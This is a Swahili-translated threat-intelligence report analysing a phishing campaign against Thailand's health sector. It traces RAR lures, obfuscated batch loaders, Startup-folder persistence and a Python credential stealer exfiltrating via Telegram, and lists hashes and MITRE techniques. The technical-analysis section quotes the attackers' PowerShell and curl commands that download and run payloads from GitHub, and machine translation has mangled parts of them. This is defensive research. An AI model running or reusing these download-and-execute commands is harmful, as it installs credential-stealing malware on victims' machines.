Waandishi: Vaibhav Krushna Billade, Dixit Panchal & Rumana Siddiqui.
Orodha ya Yaliyomo
- kuanzishwa
- Malengo Muhimu
- Mlolongo wa Maambukizi
- Matokeo ya Awali ya Kampeni
- Ufundi Uchambuzi
- Hatua ya 1: Uwasilishaji wa Awali (Kumbukumbu ya RAR)
- Hatua ya 2: Kipakiaji cha Kundi Kilichofichwa cha Rouki
- Hatua ya 3: Hati ya Kuendelea kwa Waanzishaji
- Hatua ya 4: Utekelezaji wa Pili wa Mzigo
- Hatua ya 5: Usambazaji wa Wizi wa Taarifa (sim.py)
- Hitimisho
- Seqrite Chanjo
- Viashiria vya Maelewano (IOCs)
- Ramani ya MITER ATT&CK
kuanzishwa
Seqrite Maabara hufuatilia na kuchambua kikamilifu wahusika wa vitisho na kampeni zao, ikizingatia uwakilishi, uchambuzi wa miundombinu, na biashara ya adui. Katika utafiti wetu wote, tumehusisha shughuli nyingi na makundi ya vitisho yanayoungwa mkono na China na mengine yanayolenga vyombo vya kikanda na kimataifa.
Wakati wa uchunguzi wa hivi karibuni, tulibaini kampeni hai ya programu hasidi inayolenga sekta ya afya ya Thailand, ikiwa ni pamoja na wafanyakazi wa Wizara ya Afya na mashirika yanayohusiana na huduma ya afya. Kampeni hii hutumia mitego ya ulaghai wa kielektroniki yenye mada ya huduma ya afya inayosambazwa kupitia kumbukumbu hasidi za RAR zenye hati za kundi zilizofichwa na mishahara inayoweza kutekelezwa. Msururu wa maambukizi hutumia hatua nyingi za ufichuzi, uwasilishaji wa mishahara unaosimamiwa na GitHub, mifumo ya kuendelea, na programu hasidi ya kuiba taarifa iliyoundwa ili kuanzisha msingi ndani ya mazingira lengwa huku ikiepuka kugunduliwa.
Malengo Muhimu
Kampeni hii inalenga zaidi wafanyakazi na idara katika mfumo mzima wa afya nchini Thailand, ikiwa ni pamoja na:
- Wafanyakazi wa Wizara ya Afya na timu za ununuzi wa afya za serikali kupitia vifaa vya kuchezea vinavyoiga hati rasmi za idhini ya vifaa vya matibabu.
- Wafanyakazi wa utawala wa hospitali kupitia hati bandia za ombi la kulazwa kwa mgonjwa.
- Wafanyakazi wa kliniki ya mionzi na meno kupitia rekodi za kimatibabu zilizodanganywa na faili za uchunguzi wa X-ray.
- Idara za kliniki na radiolojia kupitia hati bandia za matokeo ya uchunguzi wa CT kwa wagonjwa.
- Timu za ugavi wa huduma ya afya na ununuzi wa vifaa vya matibabu kupitia hati za idhinisho zenye chapa ya Wizara ya Afya.
Mandhari ya kuvutia yanapendekeza kulenga kwa makusudi kazi zinazohusiana na huduma ya afya na kuonyesha uelewa mkubwa wa mtiririko wa kazi wa uendeshaji ndani ya sekta hiyo.
Mlolongo wa Maambukizi
Kumbukumbu ya RAR → Kipakiaji cha BAT Kilichofichwa → Kipakiaji cha Mizigo Kilichofichwa cha Rouki → Hati ya Kudumu ya Kuanzisha (WindowSecuryt.bat) → Mzigo wa Kundi la Pili (u-t2.bat) → Mwizi wa Taarifa Unaotegemea Python (sim.py) → Majaribio ya Kuchuja Telegram
Matokeo ya Awali ya Kampeni
Sampuli ya kwanza kabisa iliyotambuliwa inayohusiana na kampeni hiyo ilipakiwa Aprili 7, 2026, huku sampuli ya hivi karibuni iliyotazamwa ikipakiwa Juni 3, 2026, ikionyesha dirisha la utendaji kazi la takriban wiki kumi wakati wa uchambuzi.
Uchunguzi Muhimu
- Sampuli zote zilizotambuliwa zilipakiwa kutoka Thailand, zikipendekeza matumizi ya miundombinu ya ndani ya nchi au mifumo ya ndani iliyoathiriwa kwa ajili ya usambazaji.
- Mhusika wa vitisho husambaza programu hasidi kupitia kumbukumbu za RAR zenye hati hasidi na hati zinazoweza kutekelezwa zilizofichwa kama hati zinazohusiana na huduma ya afya na serikali.
- Majina ya faili ya lure yameundwa kulingana na kazi maalum za kazi, ikiwa ni pamoja na wafanyakazi wa utawala, kliniki, radiolojia, na ununuzi, kuonyesha uchunguzi wa awali wa mashirika ya afya au mkakati mpana wa kulenga unaotokana na maarifa maalum ya sekta.
- Sampuli zote zinazoonekana hutumia RAR → BAT → mnyororo wa utekelezaji wa mzigo, ikipendekeza seti ya vifaa sanifu na mbinu ya uwasilishaji inayoweza kurudiwa.
Ufundi Uchambuzi
Hatua ya 1: Uwasilishaji wa Awali (Kumbukumbu ya RAR)
Vekta ya awali ya maambukizi ina kumbukumbu hasidi ya RAR iliyo na faili ya kundi lililofichwa ambayo hufanya kazi kama kipakiaji cha hatua ya kwanza. Ufifishaji hutumiwa sana kuficha utendakazi na kuzuia uchanganuzi tuli.
Sampuli moja iliyochunguzwa, Health_Ministry_Approved_Equipment_2026.bat, huunda faili ya muda iliyo na data ya mzigo uliosimbwa na kutumia PowerShell kusimbua maudhui yaliyopachikwa. Maudhui yaliyosimbwa kisha huandikwa kwenye faili ya kundi la pili, ambalo baadaye hutekelezwa.
Baada ya utekelezaji, mabaki ya muda huondolewa ili kupunguza ushahidi wa kiuchunguzi na kuzidisha uchunguzi wa baada ya maelewano.
Matumizi ya data ya upakiaji iliyopachikwa, utaratibu wa kusimbua unaotegemea PowerShell, na shughuli za kusafisha zinaonyesha juhudi za makusudi za kuficha utendaji hasidi na kukwepa vidhibiti vya usalama.
Hatua ya 2: Kipakiaji cha Kundi Kilichofichwa cha Rouki
Kifaa cha kupakia mzigo kilichosimbwa wakati wa Hatua ya 1 kilifichwa sana kwa kutumia mfumo uliotambuliwa kama Rouki.
Uchambuzi ulionyesha kuwa hati hujenga upya na kutekeleza amri za PowerShell zinazopakua, kuendelea, na kutekeleza vipengele vya ziada vya programu hasidi. Matumizi ya mizigo ya malipo inayoshikiliwa na GitHub, viendelezi vya faili vya udanganyifu, na utekelezaji wa hatua nyingi hutoa kubadilika kwa uendeshaji huku ikipunguza uwezekano wa kugunduliwa.
Amri ya PowerShell 1 - Utekelezaji wa Uendelevu
powershell.exe -Mtindo wa Dirisha Hidden -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (Kitu Kipya -TypeName System.Net.WebClient). PakuaFaili('https://github.com/ud-7-te/ud-vtn/raw/main/up-t2.png', 'C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSecuryt.bat');”
Amri hii hupakua faili iliyohifadhiwa kwa mbali inayojifanya kuwa picha ya PNG na kuihifadhi kama WindowSecuryt.bat ndani ya folda ya Windows Startup.
Uwekaji ndani ya saraka ya Mwanzo huhakikisha utekelezaji otomatiki kila mtumiaji anapoingia kwenye mfumo, na hivyo kuanzisha uendelevu.
Amri ya 2 ya PowerShell - Usambazaji wa Mizigo
powershell.exe -Command[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (Kitu Kipya -TypeName System.Net.WebClient).PakuaFaili('https://github.com/d7-te/vtn/raw/main/T2.zip', 'C:\Users\Public\Desktops.zip'); Aina ya Ongeza -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\Desktops.zip', 'C:\Users\Public\Desktops'); Anza-Kulala -Sekunde 1; C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py; del C:\Users\Public\Desktops.zip”
Amri hii hupakua kumbukumbu ya ZIP, huondoa yaliyomo kwenye saraka inayoweza kufikiwa hadharani, na kutekeleza mzigo uliopachikwa unaotegemea Python (sim.py) kwa kutumia mkalimani wa Python aliyeunganishwa.
Baada ya utekelezaji, kumbukumbu ya ZIP hufutwa ili kupunguza mabaki ya kiuchunguzi na kuzuia juhudi za kukabiliana na matukio.
Hatua ya 3: Hati ya Kuendelea ya Kuanzisha (WindowSecuryt.bat)
Uchambuzi wa hati ya WindowSecuryt.bat iliyopakuliwa ulibaini kuwa ina kiasi kikubwa cha data taka na mantiki ya kuficha data sawa na ile iliyoonekana katika vipakiaji vya kundi vya hatua ya awali. Maudhui haya yasiyo ya utendaji kazi yanalenga kuzuia uchanganuzi tuli na kuficha mtiririko halisi wa utekelezaji wa hati.
Baada ya utekelezaji, hati hufanya ukaguzi wa upendeleo na usanidi wa mazingira kabla ya kufikia hatua yake ya mwisho ya utendaji, ambapo hujenga upya na kutekeleza amri ifuatayo:
cmd /c “curl hxxps://raw.githubusercontent.com/ud-7-te/ud-vtn/main/ud-t2.txt -o C:\Users\admin\AppData\Local\Temp\u-t2.bat && piga simu C:\Users\admin\AppData\Local\Temp\u-t2.bat”
Amri hii hutumia curl kupakua mzigo wa ziada wa kundi (u-t2.bat) kutoka kwenye hazina iliyohifadhiwa na GitHub na kuihifadhi kwenye saraka ya muda ya mfumo (%TEMP%). Matumizi ya njia ya %TEMP% huhakikisha ufikiaji wa kuandika bila kuhitaji ruhusa za juu katika mazingira mengi.
Baada ya kupakua kwa mafanikio, hati hutekeleza mzigo mara moja kwa kutumia amri ya kupiga simu, kuwezesha mwendelezo wa mnyororo wa maambukizi wa hatua nyingi.
Mchanganyiko wa uendelevu wa folda ya Mwanzo na upakiaji wa malipo unaoweza kupatikana kwa mbali humwezesha mhusika wa vitisho kusasisha utendaji hasidi bila kurekebisha utaratibu wa awali wa uendelevu.
Kwa kuongezea, uwekaji wa hati ndani ya folda ya Windows Startup hutoa uendelevu, kuhakikisha inatekelezwa kiotomatiki wakati mtumiaji anaingia. Hii inaruhusu mhusika wa vitisho kupata na kutekeleza mzigo uliosasishwa mara kwa mara kutoka kwa miundombinu ya GitHub ya mbali bila kurekebisha utaratibu wa awali wa uendelevu, na kuwezesha udhibiti rahisi na wa muda mrefu juu ya mnyororo wa maambukizi.
Hatua ya 4: Utekelezaji wa Mzigo wa Pili (u-t2.bat)
Uchambuzi wa hati ya u-t2.bat iliyopakuliwa ulibaini kuwa ina msimbo taka na sehemu zilizofichwa sawa na vipengele vya awali vya kundi katika mnyororo wa maambukizi. Vipengele hivi visivyofanya kazi huonekana mwanzoni mwa hati na vinakusudiwa kuzuia uchanganuzi tuli na kuficha mtiririko halisi wa utekelezaji. Mantiki yenye maana imepachikwa ndani zaidi ya vipande hivi vilivyofichwa na hutatuliwa tu wakati wa utekelezaji wa wakati wa utekelezaji.
Hati inajaribu kujizindua upya kwa haki zilizoinuliwa ili kupata ufikiaji wa kiwango cha juu kwenye mfumo.
Baada ya kuinuliwa kwa mafanikio, hati inaendelea kutekeleza mzigo wa hatua inayofuata huku ikipunguza mwonekano wa mtumiaji.
Hatua ya mwisho ya utekelezaji husababisha mzigo ufuatao:
powershell.exe -Mtindo wa Dirisha Imefichwa -Amri “C:\Watumiaji\Umma\Desktops\python C:\Watumiaji\Umma\Desktops\Lib\sim.py”
Amri hii huzindua mkalimani wa Python aliyetumika hapo awali na kutekeleza sim.py huku ikikandamiza madirisha ya utekelezaji yanayoonekana.
Matumizi ya muda wa utekelezaji wa Python uliounganishwa huwezesha utekelezaji bila kujali usakinishaji wowote wa Python uliopo kwenye mfumo wa mwathiriwa na hupunguza utegemezi wa utekelezaji.
Hatua ya 5: Usambazaji wa Wizi wa Taarifa (sim.py)
Mzigo wa mwisho uliotambuliwa wakati wa uchambuzi ni sim.py, mwizi wa taarifa unaotegemea Python unaotekelezwa kupitia mazingira ya Python yaliyounganishwa.
Baada ya utekelezaji, programu hasidi hukomesha vivinjari vingi vya wavuti, ikiwa ni pamoja na Google Chrome, Microsoft Edge, Brave, na vivinjari vingine vinavyotegemea Chromium kwa kutumia amri za taskkill. Tabia hii kwa kawaida huhusishwa na programu hasidi inayoiba taarifa inayotafuta ufikiaji wa hifadhidata za kivinjari, maduka ya sifa, vidakuzi, na mabaki ya vipindi ambayo vinginevyo yanaweza kufungwa na michakato inayotumika.
Uwezo Uliozingatiwa
- Hukusanya data inayohusiana na kivinjari.
- Huvuna vitambulisho vilivyohifadhiwa na taarifa za kipindi.
- Hatua zilizokusanywa data ndani ya saraka za muda.
- Hubandika data iliyokusanywa kwenye kumbukumbu za ZIP.
- Inajaribu kuchuja kupitia miundombinu inayotegemea Telegram.
Kumbukumbu za utekelezaji zilionyesha majaribio ya mara kwa mara ya kusambaza data iliyoibiwa kwa njia za Telegram zinazodhibitiwa na washambuliaji kwa kutumia tokeni za roboti zenye msimbo mgumu na vitambulisho vya gumzo kupitia API ya Telegram Bot.
Maombi ya kuhamisha yalijumuisha metadata maalum ya mwathiriwa kama vile:
- Vitambulisho vya mfumo
- Taarifa ya jina la mtumiaji
- Vihesabu data vilivyovunwa
- Marejeleo ya kumbukumbu
Ingawa majaribio ya kuchuja data yalishindwa kutokana na muda wa kukatika kwa muunganisho wakati wa kuwasiliana na api.telegram.org, mchanganyiko wa uvunaji wa data ya kivinjari, uundaji wa ndani, uundaji wa kumbukumbu, na jaribio la uwasilishaji unathibitisha uwezo wa wizi wa taarifa wa mzigo.
Kwa ujumla, programu hasidi inaonyesha sifa zinazohusiana sana na wizi wa kisasa unaotegemea Python, ikiwa ni pamoja na wizi wa sifa, uvunaji wa vidakuzi vya kipindi, uwekaji wa data ya ndani, utengenezaji wa kumbukumbu, na mifumo ya uchujaji inayotegemea Telegram.
Matumizi ya uwasilishaji wa mzigo wa malipo unaosimamiwa na GitHub, huduma halali za mfumo, ufichuzi wa tabaka, na utekelezaji wa hatua nyingi huchangia katika kubadilika kwa uendeshaji na ukwepaji wa ulinzi.
Hitimisho
Seqrite Maabara inatathmini kwa ujasiri wa wastani kwamba kampeni hii inawakilisha juhudi zinazolenga sekta ya afya ya Thailand, kwa kutumia vifaa vya uhandisi wa kijamii vyenye mada ya afya, vifaa vya kupakia vya hatua nyingi, miundombinu ya mzigo wa malipo inayoshikiliwa na GitHub, na programu hasidi inayoiba taarifa kulingana na Python.
Kampeni hii inaonyesha mbinu ya uwasilishaji inayoweza kurudiwa ikijumuisha kumbukumbu za RAR, hati za kundi zilizofichwa sana, uendelevu kupitia matumizi mabaya ya folda ya Startup, urejeshaji wa mzigo wa malipo kwa hatua, na majaribio ya uchujaji yanayotegemea Telegram.
Ingawa hakuna maelezo dhahiri yaliyoweza kuthibitishwa kulingana na ushahidi unaopatikana sasa, uthabiti wa uendeshaji ulioonekana katika sampuli unaonyesha kuwa shughuli hiyo inafanywa na mhusika mmoja wa vitisho au kundi linalohusiana kwa karibu. Ufuatiliaji unaoendelea wa miundombinu inayohusiana, mageuko ya mzigo wa kazi, na unyanyasaji unaweza kutoa maarifa ya ziada kuhusu maelezo na malengo ya kampeni.
Mashirika ndani ya sekta ya afya yanapaswa kuwa macho dhidi ya kampeni za ulaghai zenye mada ya hati, kufuatilia marekebisho ya folda za Kompyuta za Mwanzo ambazo hazijaidhinishwa, na kuzuia utekelezaji wa hati na jozi zisizoaminika zilizopatikana kutoka vyanzo vya nje.
Seqrite Upimaji:
- Hati.Trojan.Downloader.50836.GC
- cld.script.trojan.1759432951
Viashiria vya Maelewano (IOC):
| Jina faili | SHA256 |
| Wizara_ya_Afya_Vifaa_Vilivyoidhinishwa_2026.rar | E5F6D9D405819E6B05B5D8268A2E973294859AD65237EDE36AB612B536D0AC2B |
| Wizara_ya_Afya_Vifaa_Vilivyoidhinishwa_2026.bat | 4EEBC38297A307D18784D6F9EBC8AA6E6F69860BE970CC70D9E544DEB1FF6CE0 |
| mzigo.popote | F4D4B8CAC004BB63834C6DF436721BABD9464C09787C80B268D839E0AADA9F87 |
| WindowSecuryt.bat | 74BB6AD7E1310F30A3E24FD3CBBFFA2C0C41C64E89E5D0DD1D6900E96B914183 |
| u-t2.bat | 7709D8C34D490509F3624104611EB75A862944DD9D7A642F44514ADA16C85EE9 |
| Kompyuta za mezani.zip | 523388567630E4FBDC359F75232BF2AD82671A680D4BFDCE0237FC30DFEC4C80 |
| Mwizi (SIM.PY) | 442E0F4E822842922E7E4685840194E99FD68C7F0EC38C1925914B8F724D5865 |
Ramani ya MITRE ATT&CK:
| Mbinu | Jina la Mbinu | Kitambulisho cha Mbinu |
| Ufikiaji wa Awali | Hadaa: Kiambatisho cha hadaa ya Mkuki | T1566.001 |
| Utekelezaji | Amri na Mkalimani wa Maandishi: Shell ya Amri ya Windows | T1059.003 |
| Amri na Mkalimani wa Maandishi: PowerShell | T1059.001 | |
| Utekelezaji wa Mtumiaji: Faili Hasidi | T1204.002 | |
| Ukwepaji wa Ulinzi | Faili au Taarifa Zilizofichwa | T1027 |
| Kujifanya (BAT iliyojificha kama PNG/TXT) | T1036 | |
| Kuondolewa kwa Kiashiria kwenye Seva ya Kupangisha: Kufuta Faili | T1070.004 | |
| Kuendelea | Vifunguo vya Kuendesha Usajili / Folda ya Kuanzisha | T1547.001 |
| Utekelezaji Uliopangwa Kupitia Folda ya Kuanzisha | T1547 | |
| Upendeleo kuongezeka | Unyanyasaji Utaratibu wa Kudhibiti Mwinuko | T1548 |
| Discovery | Ugunduzi wa Mmiliki wa Mfumo/Mtumiaji | T1033 |
| Ufikiaji wa Kitambulisho | Kitambulisho kutoka kwa Maduka ya Nenosiri | T1555 |
| Kitambulisho kutoka kwa Vivinjari vya Wavuti | T1555.003 | |
| mkusanyiko | Hifadhi Data Iliyokusanywa | T1560 |
| Data kutoka kwa Mfumo wa Ndani | T1005 | |
| Data kutoka Hifadhi za Taarifa | T1213 | |
| Amri na Kudhibiti | Uhamisho wa Zana ya Kuingia (Mizigo ya malipo inayoshikiliwa na GitHub) | T1105 |
| Itifaki ya Tabaka la Programu: Itifaki za Wavuti (HTTPS) | T1071.001 | |
| Wakala Kupitia Huduma Halali (GitHub) | T1102 | |
| exfiltration | Uchujaji Juu ya Huduma ya Wavuti (Telegram Bot API) | T1567 |
| Kuchuja hadi Hifadhi ya Wingu/Huduma ya Wavuti | T1567.002 |
